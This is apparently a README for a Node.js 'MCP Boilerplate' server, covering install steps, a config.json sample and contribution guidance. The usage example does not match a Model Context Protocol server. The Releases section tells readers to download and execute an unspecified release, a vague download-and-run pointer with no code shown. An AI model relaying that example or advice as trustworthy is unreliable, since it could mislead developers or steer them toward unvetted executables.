MCP Boilerplate 🚀

Welcome to the MCP Boilerplate repository! This project offers a powerful, production-ready MCP server that implements the Model Context Protocol. With robust SSE transport, built-in tools, and comprehensive error handling, this boilerplate allows you to seamlessly connect AI models to data sources with enterprise-grade stability and performance.

Table of Contents

• Features
• Getting Started
• Installation
• Usage
• Configuration
• Contributing
• License
• Releases
• Contact

Features

• Production-Ready: Built with enterprise-grade stability in mind.
• Robust SSE Transport: Efficiently stream data from server to client.
• Error Handling: Comprehensive error management to ensure smooth operation.
• Built-in Tools: Includes tools to facilitate development and deployment.
• Seamless Integration: Connect AI models to various data sources effortlessly.

Getting Started

To get started with the MCP Boilerplate, you need to set up your development environment. Follow the steps below to get everything up and running.

Prerequisites

• Node.js (version 14 or higher)
• npm (Node package manager)
• A modern web browser (Chrome, Firefox, etc.)

Installation

To install the MCP Boilerplate, follow these steps:

1. Clone the repository:

   git clone https://github.com/milxxyzxc/mcp-boilerplate.git
   

2. Navigate to the project directory:

   cd mcp-boilerplate
   

3. Install the dependencies:

   npm install
   

4. Start the server:

   npm start
   

Now, your MCP server should be running locally.

Usage

Once the server is running, you can interact with it through various endpoints. The main functionalities include:

• Connecting AI Models: You can connect your AI models using the Model Context Protocol.
• Streaming Data: Use the SSE transport to stream data in real-time.
• Error Reporting: The server provides detailed error messages for easier debugging.

Example

Here’s a simple example of how to connect an AI model:

const modelContext = require('mcp-boilerplate');

// Connect your model
modelContext.connect('your-model-id', {
    dataSource: 'your-data-source'
});

Configuration

You can configure the MCP server by modifying the config.json file in the root directory. Here are some key settings:

• port: The port on which the server will run.
• logLevel: The level of logging (e.g., 'info', 'debug').
• models: An array of AI models to connect.

Example config.json:

{
    "port": 3000,
    "logLevel": "info",
    "models": [
        {
            "id": "model1",
            "dataSource": "data-source-1"
        }
    ]
}

Contributing

We welcome contributions! If you want to help improve the MCP Boilerplate, please follow these steps:

1. Fork the repository.
2. Create a new branch (git checkout -b feature/YourFeature).
3. Make your changes and commit them (git commit -m 'Add some feature').
4. Push to the branch (git push origin feature/YourFeature).
5. Open a pull request.

License

This project is licensed under the MIT License. See the LICENSE file for details.

Releases

For the latest updates and releases, visit the Releases section. Here, you can download and execute the latest version of the MCP Boilerplate.

Contact

For any inquiries, please reach out to the maintainers:

• Email: maintainer@example.com
• Twitter: @MCPBoilerplate

Feel free to contribute and make this project even better!